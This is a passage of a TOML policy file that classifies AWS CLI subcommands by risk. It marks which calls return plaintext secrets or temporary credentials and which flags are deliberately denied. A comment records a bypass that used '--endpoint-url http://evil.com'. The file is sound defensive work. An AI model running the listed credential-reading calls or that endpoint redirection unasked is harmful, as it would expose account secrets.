valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub.flag]]
name = "--with-decryption"
classifies = "credential-read"
fact = "Decrypts all SecureString values under the path, returning plaintext secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/ssm/get-parameters-by-path.html"

[[command.sub]]
# `get-*` DROPPED: it admitted `get-secret-value` (reads the secret) and `get-random-password` (mints
# one). Only metadata reads (describe/list) auto-approve now — fail-closed. Batch 1 (aws) restructures
# this into explicit sub-subs (get-secret-value -> credential-read, get-resource-policy -> remote-read).
name = "secretsmanager"
# Restructured from `first_arg = ["describe-*", "list-*"]` into explicit sub-subs (RESEARCH-PLAN
# Batch 1). The glob was safe about WHICH operations it admitted, but it admitted them without
# consulting any flag list, and it would auto-admit any FUTURE describe-*/list-* API that AWS adds to
# this service — for a service whose entire purpose is storing secrets, that is the wrong default.
# Verified before the change: `list-secrets --frobnicate` and
# `describe-secret --endpoint-url http://evil.com` both auto-approved.
#
# Flags are researched PER OPERATION below. Across these three metadata reads the reasoning is the
# same and is stated once here rather than repeated: `--region`/`--output`/`--query`/`--color` and the
# pagination trio select and format the response; the timeouts are transport tuning; `--profile`
# chooses among identities ALREADY in the caller's own ~/.aws/config, so it cannot reach an account
# the user has not configured, and on a metadata read it cannot turn the read into anything else.
# DELIBERATELY ABSENT (each would change a security property, so each denies until researched for a
# specific need): `--endpoint-url` (sends the signed request to, and takes the response from, an
# arbitrary host), `--no-verify-ssl` and `--ca-bundle` (defeat TLS verification), `--no-sign-request`
# (drops SigV4 — meaningless for a private secret store).
[[command.sub.sub]]
name = "list-secrets"
profile = "remote-read"
fact = "Lists secret METADATA in the account — name, ARN, description, tags, rotation configuration and version stages. The API explicitly does not return SecretString or SecretBinary; retrieving a value requires GetSecretValue."
source = "https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/list-secrets.html"
standalone = ["--debug", "--help", "--include-planned-deletion", "--no-include-planned-deletion", "--no-paginate"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--filters", "--max-items", "--max-results", "--next-token", "--output", "--page-size", "--profile", "--query", "--region", "--sort-order", "--starting-token"]

[[command.sub.sub]]
name = "describe-secret"
profile = "remote-read"
fact = "Returns the details of one secret — ARN, name, description, KMS key id, rotation settings, tags and the list of version stages. It does not include the encrypted secret value."
source = "https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/describe-secret.html"
standalone = ["--debug", "--help", "--no-paginate"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--output", "--profile", "--query", "--region", "--secret-id"]

[[command.sub.sub]]
name = "list-secret-version-ids"
profile = "remote-read"
fact = "Lists the version identifiers and staging labels attached to a secret; returns version metadata only, never the version's value."
source = "https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/list-secret-version-ids.html"
standalone = ["--debug", "--help", "--include-deprecated", "--no-include-deprecated", "--no-paginate"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--max-results", "--next-token", "--output", "--page-size", "--profile", "--query", "--region", "--secret-id", "--starting-token"]

# The two value-returning operations, named explicitly so they deny by CLASSIFICATION rather than by
# happening to fall outside a glob — and so a future glob widening cannot silently re-admit them.
[[command.sub.sub]]
name = "get-secret-value"
profile = "credential-read"
fact = "Returns the decrypted secret value itself — SecretString or SecretBinary — for the requested version."
source = "https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/get-secret-value.html"
standalone = ["--help"]

[[command.sub.sub]]
name = "batch-get-secret-value"
profile = "credential-read"
fact = "Returns the decrypted values of MULTIPLE secrets in one call, selected by explicit id list or by filter — a bulk form of GetSecretValue."
source = "https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/batch-get-secret-value.html"
judgment = "Same exposure as get-secret-value and strictly broader (one call can drain many secrets), so it takes the same credential-read classification rather than a scale-adjusted one; the archetype already denies below yolo."
standalone = ["--help"]

[[command.sub]]
name = "ecr"
first_arg = ["batch-get-*", "describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true
[[command.sub.sub]]
name = "get-login-password"
profile = "credential-mint"
fact = "Prints the decoded ECR registry password on stdout — the 'AWS' user's temporary docker-login credential for the registry."
source = "https://docs.aws.amazon.com/cli/latest/reference/ecr/get-login-password.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-authorization-token"
profile = "credential-mint"
fact = "Returns a base64 authorization token (a temporary registry credential) usable as the docker/oras login password for the ECR registry."
source = "https://docs.aws.amazon.com/cli/latest/reference/ecr/get-authorization-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "eks"
first_arg = ["describe-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "elasticache"
first_arg = ["describe-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "elb"
first_arg = ["describe-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "elbv2"
first_arg = ["describe-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "autoscaling"
first_arg = ["describe-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-launch-configurations"
profile = "credential-read"
fact = "Each LaunchConfiguration includes the UserData field (base64 bootstrap script), which commonly embeds hardcoded credentials, secrets, and API keys used at instance boot."
source = "https://docs.aws.amazon.com/cli/latest/reference/autoscaling/describe-launch-configurations.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "kms"
# Batch 1: glob + blanket tolerance replaced with explicit sub-subs. The verb glob was a correct
# claim about the OPERATIONS (KMS never exports symmetric key material, so every describe-/get-/list-
# here is metadata or public material) but it consulted no flag list, so `--endpoint-url` redirected
# an authenticated KMS call to an arbitrary host.
#
# Flag set follows the researched AWS-read convention already used by `ssm get-access-token` in this
# file: response shaping and transport timeouts only. DELIBERATELY ABSENT on every operation below:
# `--endpoint-url` (retargets the authenticated request), `--profile` (selects a different identity
# to read as), `--ca-bundle` (substitutes the trust anchor), `--no-verify-ssl`, and
# `--no-sign-request`.
[[command.sub.sub]]
name = "describe-key"
profile = "remote-read"
fact = "Returns metadata for a KMS key — ARN, key state, spec, usage, origin, rotation setting. No key material."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/describe-key.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--grant-tokens", "--key-id", "--output", "--query", "--region"]
[[command.sub.sub]]
name = "describe-custom-key-stores"
profile = "remote-read"
fact = "Lists custom key stores in the account with their connection state; returns no key material or credentials."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/describe-custom-key-stores.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--custom-key-store-id", "--custom-key-store-name", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-key-policy"
profile = "remote-read"
fact = "Returns the key's resource policy document — an authorization description, not key material."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/get-key-policy.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--output", "--policy-name", "--query", "--region"]
[[command.sub.sub]]
name = "get-key-rotation-status"
profile = "remote-read"
fact = "Reports whether automatic rotation is enabled for a key, plus rotation period and next date."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/get-key-rotation-status.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--output", "--query", "--region"]
[[command.sub.sub]]
name = "get-public-key"
profile = "remote-read"
fact = "Returns the PUBLIC key of an asymmetric KMS key. The private half never leaves KMS and is not returned by any API."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/get-public-key.html"
judgment = "Public key material is not a secret — it is published precisely so callers can verify or encrypt. Read, not credential-read."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--grant-tokens", "--key-id", "--output", "--query", "--region"]
[[command.sub.sub]]
name = "get-parameters-for-import"
profile = "remote-read"
fact = "Returns a public wrapping key and an import token used to upload externally-generated key material. Both are inputs to a later import, not exported secrets."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/get-parameters-for-import.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--output", "--query", "--region", "--wrapping-algorithm", "--wrapping-key-spec"]
[[command.sub.sub]]
name = "list-keys"
profile = "remote-read"
fact = "Lists key IDs and ARNs in the account and region."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-keys.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-aliases"
profile = "remote-read"
fact = "Lists key aliases and the key each resolves to."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-aliases.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-grants"
profile = "remote-read"
fact = "Lists the grants on a key — grantee principal, operations permitted, constraints. An authorization description."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-grants.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--grant-id", "--grantee-principal", "--key-id", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-retirable-grants"
profile = "remote-read"
fact = "Lists grants a given principal can retire."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-retirable-grants.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--retiring-principal", "--starting-token"]
[[command.sub.sub]]
name = "list-key-policies"
profile = "remote-read"
fact = "Lists the policy NAMES attached to a key (currently always `default`); the document itself comes from get-key-policy."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-key-policies.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-key-rotations"
profile = "remote-read"
fact = "Lists completed rotations of a key's material, with rotation type and date."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-key-rotations.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-resource-tags"
profile = "remote-read"
fact = "Lists the tags on a KMS key."
source = "https://docs.aws.amazon.com/cli/latest/reference/kms/list-resource-tags.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--key-id", "--limit", "--marker", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "acm"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "apigateway"
first_arg = ["get-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true
[[command.sub.sub]]
name = "get-api-key"
profile = "remote-read"
fact = "Reads an API key's metadata. With --include-value the response includes the API key VALUE — a usable API credential."
source = "https://docs.aws.amazon.com/cli/latest/reference/apigateway/get-api-key.html"
judgment = "Base read auto-approves; --include-value escalates to credential-read (returns the key value)."
standalone = ["--no-paginate", "--no-cli-pager", "--debug", "--help"]
# `--api-key` here NAMES the key to read (a resource id); it is NOT the caller's credential. The same
# spelling supplies the caller's credential on other CLIs — which is why a flag is researched per
# command rather than judged by name.
valued = ["--api-key", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--output", "--query", "--region"]
[[command.sub.sub.flag]]
name = "--include-value"
classifies = "credential-read"
fact = "Includes the API key VALUE in the response — a usable credential."
source = "https://docs.aws.amazon.com/cli/latest/reference/apigateway/get-api-key.html"
[[command.sub.sub]]
name = "get-api-keys"
profile = "remote-read"
fact = "Lists API keys. With --include-values the response includes the API key VALUES in bulk — usable API credentials."
source = "https://docs.aws.amazon.com/cli/latest/reference/apigateway/get-api-keys.html"
judgment = "Base list auto-approves; --include-values escalates to credential-read (bulk key values)."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub.flag]]
name = "--include-values"
classifies = "credential-read"
fact = "Includes API key VALUES in bulk — usable credentials."
source = "https://docs.aws.amazon.com/cli/latest/reference/apigateway/get-api-keys.html"

[[command.sub]]
name = "apigatewayv2"
first_arg = ["get-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "codebuild"
first_arg = ["batch-get-*", "describe-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "batch-get-build-batches"
profile = "credential-read"
fact = "Batch build details including environment variables (PLAINTEXT type) used in the builds, which can contain plaintext secrets"
source = "https://docs.aws.amazon.com/cli/latest/reference/codebuild/batch-get-build-batches.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "batch-get-builds"
profile = "credential-read"
fact = "Build details including the resolved environment variables (PLAINTEXT type) used in the build and exportedEnvironmentVariables, which can contain plaintext secrets"
source = "https://docs.aws.amazon.com/cli/latest/reference/codebuild/batch-get-builds.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "batch-get-projects"
profile = "credential-read"
fact = "Full project configuration including environment variables of type PLAINTEXT, whose values commonly hold secrets/tokens/passwords embedded directly in the project definition"
source = "https://docs.aws.amazon.com/cli/latest/reference/codebuild/batch-get-projects.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "codepipeline"
first_arg = ["get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-job-details"
profile = "credential-mint"
fact = "JobData.artifactCredentials — temporary AWS session credentials (accessKeyId, secretAccessKey, sessionToken) for the pipeline artifact store"
source = "https://docs.aws.amazon.com/cli/latest/reference/codepipeline/get-job-details.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-third-party-job-details"
profile = "credential-mint"
fact = "ThirdPartyJobData.artifactCredentials — temporary AWS session credentials (accessKeyId, secretAccessKey, sessionToken) for the pipeline artifact store"
source = "https://docs.aws.amazon.com/cli/latest/reference/codepipeline/get-third-party-job-details.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "cognito-idp"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-identity-provider"
profile = "credential-read"
fact = "ProviderDetails returns the external IdP client_secret in plaintext (and private_key/key_id/team_id for SignInWithApple) — third-party OAuth/OIDC credentials."
source = "https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/describe-identity-provider.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "describe-user-pool-client"
profile = "credential-read"
fact = "The app client secret (ClientSecret) for the user pool app client — a confidential OAuth client credential."
source = "https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/describe-user-pool-client.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "elasticbeanstalk"
first_arg = ["describe-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ses"
first_arg = ["get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "sesv2"
first_arg = ["get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "sagemaker"
first_arg = ["describe-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "kinesis"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "athena"
first_arg = ["get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "glue"
first_arg = ["get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-connection"
profile = "credential-read"
fact = "Connection PASSWORD in clear text (JDBC/data-store connection credentials) — returned by default since HidePassword defaults to false"
source = "https://docs.aws.amazon.com/cli/latest/reference/glue/get-connection.html"
standalone = ["--no-paginate", "--no-cli-pager", "--debug", "--help"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--domain-identifier", "--identifier", "--name", "--output", "--query", "--region"]
[[command.sub.sub]]
name = "get-connections"
profile = "credential-read"
fact = "ConnectionProperties for all connections including PASSWORD in clear text by default (HidePassword defaults to false) — bulk credential disclosure"
source = "https://docs.aws.amazon.com/cli/latest/reference/glue/get-connections.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "stepfunctions"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-activity-task"
profile = "credential-mint"
fact = "a taskToken capability token (authorizes SendTaskSuccess/SendTaskFailure/SendTaskHeartbeat for the polled task) plus the task input payload"
source = "https://docs.aws.amazon.com/cli/latest/reference/stepfunctions/get-activity-task.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "events"
first_arg = ["describe-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "wafv2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-sampled-requests"
profile = "credential-read"
fact = "A sample of real inbound HTTP requests that matched a WAF rule, including full HTTP request Headers (Name/Value pairs). Live end-user/client header values can contain Authorization tokens, session cookies, and API keys captured from production traffic."
source = "https://docs.aws.amazon.com/cli/latest/reference/wafv2/get-sampled-requests.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "accessanalyzer"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "account"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "acm-pca"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "amp"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "amplify"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-app"
profile = "credential-read"
fact = "App.basicAuthCredentials (base64 user:password for HTTP basic auth) and environmentVariables map (routinely holds API keys / DB passwords / tokens); autoBranchCreationConfig repeats both"
source = "https://docs.aws.amazon.com/cli/latest/reference/amplify/get-app.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-branch"
profile = "credential-read"
fact = "Branch.basicAuthCredentials (base64 user:password) and environmentVariables map (per-branch secrets: API keys, passwords, tokens)"
source = "https://docs.aws.amazon.com/cli/latest/reference/amplify/get-branch.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-webhook"
profile = "credential-read"
fact = "Webhook.webhookUrl — a bearer-token trigger URL; anyone holding it can initiate builds/deployments of the app"
source = "https://docs.aws.amazon.com/cli/latest/reference/amplify/get-webhook.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-apps"
profile = "credential-read"
fact = "Array of App objects each carrying basicAuthCredentials (base64 user:password) — bulk disclosure of basic-auth credentials across all Amplify apps."
source = "https://docs.aws.amazon.com/cli/latest/reference/amplify/list-apps.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-branches"
profile = "credential-read"
fact = "Array of Branch objects each carrying basicAuthCredentials (base64 user:password) — bulk disclosure of branch basic-auth credentials."
source = "https://docs.aws.amazon.com/cli/latest/reference/amplify/list-branches.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-webhooks"
profile = "credential-read"
fact = "Bulk list of webhook objects each including webhookUrl — the unauthenticated deployment-trigger capability URLs for the app"
source = "https://docs.aws.amazon.com/cli/latest/reference/amplify/list-webhooks.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "amplifybackend"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-backend-auth"
profile = "credential-read"
fact = "ResourceConfig.SocialProviderSettings containing OAuth ClientSecret values (Facebook/Google/LoginWithAmazon) and SignInWithApple.PrivateKey — third-party federation client secrets and an Apple signing private key"
source = "https://docs.aws.amazon.com/cli/latest/reference/amplifybackend/get-backend-auth.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "amplifyuibuilder"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "appconfig"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "appflow"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "application-autoscaling"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "application-insights"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "appmesh"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "apprunner"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "appstream"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "appsync"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-graphql-api-environment-variables"
profile = "credential-read"
fact = "Bulk dump of the API's configured environment-variable key/value pairs (up to 50 entries, values up to 512 chars) — a common sink for secrets/tokens/passwords/endpoints developers stash in env config."
source = "https://docs.aws.amazon.com/appsync/latest/APIReference/API_GetGraphqlApiEnvironmentVariables.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-api-keys"
profile = "credential-read"
fact = "The AppSync API key credential: each returned ApiKey object's `id` field is the actual usable x-api-key value that authenticates to the GraphQL API, not a pagination or opaque identifier."
source = "https://docs.aws.amazon.com/appsync/latest/APIReference/API_ListApiKeys.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "artifact"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "auditmanager"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "autoscaling-plans"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "b2bi"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "backup"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "batch"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "bedrock"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "bedrock-agent"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "billingconductor"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "braket"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "budgets"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ce"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "chatbot"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "chime"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
